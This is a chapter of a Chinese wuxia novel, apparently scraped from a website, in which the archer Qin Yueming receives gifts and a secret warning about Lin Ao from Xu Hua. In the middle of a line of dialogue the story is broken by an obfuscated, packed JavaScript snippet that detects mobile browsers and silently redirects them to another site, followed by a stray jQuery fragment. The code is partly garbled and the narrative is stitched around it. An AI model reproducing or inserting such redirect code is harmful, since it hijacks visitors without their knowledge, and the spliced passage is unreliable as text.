“正是。”祝錚答道。
趙青山遲疑地看向秦月明,眉頭輕皺。
秦月明知他在為難什麼,心中冷笑,眼尾一揚,隻定定回望,不發一言。
哪知祝錚又變戲法兒似的從腰間佩囊中掏出一封帖子,道:“少夫人久慕秦女俠風采,特邀女俠過府一敘。”
·
秦、趙二人進了林府後便分散開來,趙青山去了前院,秦月明在林府下人的帶領下一路到了後院一座小花園。
盛夏時節,草木蔥鬱,青綠的枝葉將園中一眾錦繡彩衣的女子襯得更加嬌豔秀麗。
為首女子不過雙十年華,一身華貴的大袖紗羅衫,眉目如畫,溫和雅致,看到秦月明的身影雙眼便是一亮,起身相迎:“秦女俠。”
秦月明不著痕跡地打量此女,心下納悶。
仿佛看出她的疑惑,女子屏退侍女,親自引秦月明至涼亭中坐下,含笑道:“妾姓徐,單名一個‘華’字,今日相邀,隻因感念女俠為妾外祖報仇之恩。”
徐華之母便是當初懸賞商山七虎的出嫁女,石泉縣雲來客棧那位掌櫃拿著七虎的人頭前去領賞,卻不敢隱沒秦月明的功勞,俱以實情告知。
但是——
“夫人認錯人了罷?”秦月明不動聲色道。
石泉縣時她為避人耳目,專程易了容,自稱姓“沈”,常鳳歌作為飛耳閣閣主,耳目通天,知曉她的真實身份不算意外,徐華一個普普通通的官宦貴女又是從何得知的?
徐華一愣,微不可察地四下張望,隨後壓低聲音,道:“家父與上任飛耳閣總閣主有些交情……
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008348|133783||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
”
秦月明眸色一深。
飛耳閣分閣光明正大佇立天下各州鎮,總閣倒是藏頭露尾,江湖中人隻知它在恒京,具體在何處卻是不得而知。
至於統領整個飛耳閣的總閣之主,就更神龍見首不見尾了。
除卻每次隨江湖譜更新的評語,外界再無了解總閣主的渠道,那位盛讚秦月明,為她冠以“金仆姑”之名的前總閣主在飛耳閣曆任閣主中已算外向之輩。
據徐華所言,這位飛耳閣的前任總閣主雖已離任,但現任總閣主乃其親子,加之經營的多年威望,他手中仍掌控著不少隱秘的情報線。
“這是那位前輩托家父交與女俠的東西。”徐華自袖中掏出一柄小巧的綠玉折扇遞過來。
秦月明掃過折扇尾端不起眼的一抹線條,眉心一跳,抬手接下折扇藏入懷中。
了卻一樁事,徐華神色稍鬆,輕輕拍掌,便有一名侍女拿來個小包袱放在亭中石桌上,隨後施禮退下。
徐華親手解開包袱,露出一卷火紅的細絲並一葫蘆一木盒:“聽聞女俠素有‘江湖第一弓’的美名,這是妾命人尋來的火蠶絲,正合做弓弦;這是獸油與蠟油,可用於護理兵器。”
這禮物算是送到秦月明心坎上了,當初她從白馬寨輕裝出走,隻帶了些許錢財,後來思君弓回到手中她都不好打理,到翻雪門後倒是蹭了趙困雪的收藏,但身世曝光後為不連累對方,這條路也斷了。
屋漏偏逢連夜雨,這趟東南之行,為應對層出不窮的追兵,她頻頻使用內力化箭,弓弦不堪重負,已是強弩之末。
秦月明知道,隻要她說句軟話,趙青山便會把她需要的東西奉上,但基於某些複雜的情緒,她並不想如他的願。
“我正缺這些東西,”她爽快收下了徐華的贈禮,“如此,便多謝少夫人了。”
待趙青山與林敖敘完舊來與秦月明彙合,一眼便看到了思君弓煥然一新的弓弦,神情一僵:“這是?”
“林少夫人送的。”秦月明簡單解釋了一句,看向他身後兩匹神駿的馬兒,“這兩匹馬哪兒來的?”
“……林敖送的腳力。”趙青山目光仍流連在思君弓上,眼中有微不可察的悔意,過了片刻才說起另一件事,“林敖的私兵探查到無憂門的蹤跡,祝錚繪了路線圖,我們去看看?”
林家先祖乃本朝開國的兩位國公之一,功勳卓著,太祖皇帝特賜予其蓄養私兵之權,而林敖乃當代的林家長子,因種種緣由做了這衡州知州,家主作主讓他帶了一隊私兵上任。祝錚便是這隊私兵的隊長。
衡州已是東南地界,秦月明與趙青山一路行來,除了愈發多的追兵,未得半點無憂門的線索,林敖提供的消息正是雪中送炭。
但這消息可信麼?
秦月明本不該懷疑,林敖除了那層權貴之後的身份外,還是沈潛的至交好友,沈家出事後,他曾對白馬寨施以援手,秦月明能順利在武林中打出名聲,也有他的手筆。
然而,想起臨彆時徐華在自己手中寫下的字跡,秦月明便不由心生警惕。
“小心林敖。”